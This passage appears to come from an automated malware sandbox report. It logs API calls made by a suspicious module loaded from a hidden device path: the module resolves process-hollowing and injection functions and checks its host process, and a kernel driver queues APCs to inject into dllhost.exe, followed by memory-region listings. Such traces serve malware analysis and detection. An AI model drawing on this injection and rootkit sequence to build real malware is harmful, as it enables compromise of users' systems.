(hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0096.540] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0096.540] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0096.540] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0096.540] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0096.541] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0096.542] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0096.543] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0096.544] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0096.545] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0096.545] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0096.545] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0096.545] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0096.546] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0096.546] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0096.546] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0096.546] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0096.546] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0096.546] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0096.546] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0096.546] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0096.546] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0096.548] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0096.548] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\conhost.exe") returned 0x1f [0096.548] PathFindFileNameA (pszPath="C:\\Windows\\system32\\conhost.exe") returned="conhost.exe" [0096.548] GetCommandLineA () returned="\\??\\C:\\Windows\\system32\\conhost.exe" [0096.548] _strcmpi (_Str1="conhost.exe", _Str2="svchost.exe") returned -16 [0096.548] StrStrIA (lpFirst="conhost.exe", lpSrch="wermgr.exe") returned 0x0 [0096.550] HeapDestroy (hHeap=0x830000) returned 1 Thread: id = 328 os_tid = 0x544 [0096.780] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bf000 [0096.780] IdePortDispatch () returned 0x103 [0096.848] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff880031926a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd4000 [0096.848] IdePortDispatch () returned 0x103 [0096.901] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344a000 [0096.901] IdePortDispatch () returned 0x103 [0096.973] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PING.EXE", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.974] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880041eb000 [0096.974] IdePortDispatch () returned 0x103 Thread: id = 337 os_tid = 0x56c [0097.060] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\conhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.087] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b8000 [0097.088] IdePortDispatch () returned 0x103 Process: id = "31" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x61fe000" os_pid = "0x534" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" Region: id = 2726 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2727 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2728 start_va = 0x1b0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2729 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2730 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2731 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2732 start_va = 0xff710000 end_va = 0xff716fff entry_point = 0xff71124c region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" Region: id = 2733 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2734 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2735 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2736 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2746 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2747 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 2748 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 2749 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2750 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2751 start_va = 0x50000 end_va = 0x5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2752 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2753 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2754 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2755 start_va = 0x450000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2756 start_va = 0x550000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 2757 start_va = 0x560000 end_va = 0x6e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 2758 start_va = 0x6f0000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 2759 start_va = 0x880000 end_va = 0x1c7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 2760 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2761 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2762 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2763 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 2764 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 2765 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2766 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 2767 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2768 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 2769 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2770 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 2771 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2772 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2773 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2774 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2775 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 2776 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2777 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2778 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2779 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2780 start_va = 0x1d50000 end_va = 0x1dcffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 2781 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2782 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2783 start_va = 0x1ef0000 end_va = 0x21befff entry_point = 0x1ef0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 3033 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3034 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3035 start_va = 0x1dd0000 end_va = 0x1eaefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001dd0000" filename = "" Region: id = 3036 start_va = 0x2270000 end_va = 0x236ffff entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 3037 start_va = 0x23c0000 end_va = 0x24bffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 3038 start_va = 0x25b0000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3039 start_va = 0x26b0000 end_va = 0x27affff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3040 start_va = 0x2810000 end_va = 0x281ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 3041 start_va = 0x2840000 end_va = 0x293ffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 3042 start_va = 0x2990000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 3043 start_va = 0x2bb0000 end_va = 0x2c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 3044 start_va = 0x7fefa120000 end_va = 0x7fefa1bffff entry_point = 0x7fefa19eb20 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" Region: id = 3045 start_va = 0x7fefa430000 end_va = 0x7fefa44efff entry_point = 0x7fefa4357b8 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" Region: id = 3046 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Region: id = 3047 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Region: id = 3048 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 3049 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 3050 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 3051 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 3052 start_va = 0x7fefdf70000 end_va = 0x7fefecf7fff entry_point = 0x7fefdfecebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" Region: id = 3053 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 3054 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3055 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3056 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3057 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3058 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3222 start_va = 0x7fefaaa0000 end_va = 0x7fefab8dfff entry_point = 0x7fefaaa12a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" Region: id = 3228 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3229 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3230 start_va = 0x110000 end_va = 0x116fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 3231 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3232 start_va = 0x130000 end_va = 0x145fff entry_point = 0x130000 region_type = mapped_file name = "{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000009.db" filename = "\\Users\\hJrD1KOKY DS8lUjv\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000009.db" Region: id = 3233 start_va = 0x150000 end_va = 0x150fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3234 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3235 start_va = 0x2c30000 end_va = 0x3022fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c30000" filename = "" Region: id = 3236 start_va = 0x30a0000 end_va = 0x319ffff entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 3237 start_va = 0x743b0000 end_va = 0x743b5fff entry_point = 0x743b1010 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" Region: id = 3238 start_va = 0x7fef9870000 end_va = 0x7fef9c60fff entry_point = 0x7fef9bcab54 region_type = mapped_file name = "mf.dll" filename = "\\Windows\\System32\\mf.dll" Region: id = 3239 start_va = 0x7fef9f20000 end_va = 0x7fef9f8bfff entry_point = 0x7fef9f21010 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" Region: id = 3240 start_va = 0x7fefb350000 end_va = 0x7fefb3a6fff entry_point = 0x7fefb351118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" Region: id = 3241 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f8fff entry_point = 0x7fefb8e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" Region: id = 3242 start_va = 0x7fefbb30000 end_va = 0x7fefbb5cfff entry_point = 0x7fefbb31010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" Region: id = 3243 start_va = 0x7fefbb60000 end_va = 0x7fefbb68fff entry_point = 0x7fefbb61010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" Region: id = 3244 start_va = 0x7fefc6a0000 end_va = 0x7fefc893fff entry_point = 0x7fefc82c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" Region: id = 3245 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 3246 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 3247 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 3248 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 3249 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 3250 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 3251 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 3252 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3284 start_va = 0x7fef93c0000 end_va = 0x7fef942afff entry_point = 0x7fef93c101c region_type = mapped_file name = "PhotoMetadataHandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" Region: id = 3285 start_va = 0x7fefbf20000 end_va = 0x7fefc049fff entry_point = 0x7fefbf23810 region_type = mapped_file name = "WindowsCodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" Thread: id = 325 os_tid = 0x538 [0096.570] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\dllhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.570] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.573] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0096.573] IoIs32bitProcess (Irp=0x0) returned 0 [0096.573] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036769a0 [0096.573] KeInitializeApc (Apc=0xfffffa80036769a0, Thread=0xfffffa800381b980, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0096.573] KeInsertQueueApc (Apc=0xfffffa80036769a0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0096.573] ExFreePoolWithTag (P=0xfffffa80036769a0, Tag=0x0) [0096.573] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80038b9010 [0096.573] IoGetCurrentProcess () returned 0xfffffa800cffe060 [0096.573] PsGetCurrentProcessId () returned 0x534 [0096.573] IoIs32bitProcess (Irp=0x0) returned 0 [0096.573] KeInitializeEvent (in: Event=0xfffffa80038b9050, Type=0x0, State=0 | out: Event=0xfffffa80038b9050) [0096.573] ExQueueWorkItem (in: WorkItem=0xfffffa80038b9010*(List.Flink=0x0, 